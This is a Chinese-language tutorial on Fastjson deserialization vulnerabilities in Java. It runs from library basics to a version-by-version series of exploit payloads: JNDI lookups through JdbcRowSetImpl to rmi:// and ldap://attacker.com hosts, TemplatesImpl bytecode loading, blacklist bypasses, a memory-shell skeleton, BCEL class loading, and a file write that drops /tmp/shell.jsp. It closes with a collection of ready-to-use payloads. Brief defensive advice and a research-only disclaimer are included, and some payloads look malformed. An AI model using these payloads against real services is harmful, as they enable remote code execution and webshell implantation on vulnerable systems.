Java安全 - FastJson系列详解
字数 975 2025-08-18 17:33:09
Fastjson反序列化漏洞全面解析
一、Fastjson基础
1. Fastjson简介
Fastjson是阿里巴巴开发的高性能JSON处理库,主要用于JSON与Java对象之间的转换。主要接口:
JSON.toJSONString():序列化(对象→JSON)JSON.parseObject()/JSON.parse():反序列化(JSON→对象)
2. 基本使用示例
// 序列化示例
Student student = new Student();
student.setName("zjacky");
student.setAge(20);
String jsonString = JSON.toJSONString(student);
// 反序列化示例
Student xiaoming = JSON.parseObject("{\"age\":20,\"name\":\"zzzjjjjaaaacccckkkkkyyyy\"}", Student.class);
3. 关键特性
- @type属性:指定反序列化的目标类
- SerializerFeature.WriteClassName:序列化时写入类名
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName); - Feature.SupportNonPublicField:反序列化时支持私有属性
Student xiaoming = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
二、Fastjson反序列化漏洞原理
1. 漏洞成因
Fastjson在反序列化时:
- 根据
@type指定的类实例化对象 - 自动调用目标类的setter/getter方法
- 若这些方法中存在危险操作(如命令执行),则可被利用
2. 利用条件
- 目标类存在危险的setter/getter方法
- 攻击者能控制反序列化的JSON内容
- Fastjson版本存在漏洞
3. 关键调用链
JSON.parseObject()/parse()
→ 根据@type实例化指定类
→ 调用setter方法赋值
→ 若setter方法存在危险操作 → RCE
三、各版本漏洞及绕过技术
1. Fastjson <= 1.2.24
利用链:
- JdbcRowSetImpl(JNDI)
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/exploit", "autoCommit":true } - TemplatesImpl(字节码加载)
{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["恶意字节码base64"], "_name":"a.b", "_tfactory":{}, "_outputProperties":{} }
2. Fastjson 1.2.25-1.2.41
绕过方式:L开头;结尾
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://127.0.0.1:1099/exploit",
"autoCommit":true
}
3. Fastjson 1.2.42
绕过方式:双写LL和;;
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1:1099/exploit",
"autoCommit":true
}
4. Fastjson 1.2.43
绕过方式:使用[开头
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"rmi://127.0.0.1:1099/exploit",
"autoCommit":true
}
5. Fastjson 1.2.25-1.2.47通杀
利用链:缓存绕过
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/exploit",
"autoCommit":true
}
}
四、不出网利用技术
1. TemplatesImpl内存马
public class EvilClass extends AbstractTranslet {
public EvilClass() throws Exception {
// 内存马植入代码
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// ...注册内存马
}
// 必须实现的方法
public void transform(DOM document, SerializationHandler[] handlers){}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler){}
}
2. BasicDataSource(BCEL)
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "
$$
BCEL
$$
$恶意字节码..."
}
}: "bbb"
}
3. Commons-io写文件
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/shell.jsp",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}
五、检测与防御
1. 版本探测
{"a":" // 不闭合花括号会暴露版本信息
2. 防御措施
- 升级到最新安全版本(>=1.2.83)
- 开启safeMode
ParserConfig.getGlobalInstance().setSafeMode(true); - 严格过滤输入
- 禁用autoType
六、Payload集合
1. 基础Payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp","autoCommit":true}
2. 关键字绕过
{"\u0040type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/exp","autoCommit":true}
3. 智能匹配绕过
{"@type":"com.sun.rowset.JdbcRowSetImpl","data-source-name":"ldap://attacker.com/exp","auto-commit":true}
七、参考资源
- Fastjson官方GitHub
- 漏洞分析文章
- 各版本绕过技术详解
注:本文仅供安全研究学习使用,请勿用于非法用途。